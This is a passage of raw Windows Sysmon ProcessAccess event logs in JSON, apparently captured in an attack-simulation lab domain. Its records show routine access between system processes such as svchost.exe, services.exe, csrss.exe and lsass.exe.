11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":843,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":844,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":845,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":846,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":847,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1116\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1116","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":848,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":849,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.250\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1120\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.250","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1120","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":850,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.250\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.250","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":851,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.250\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1124\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 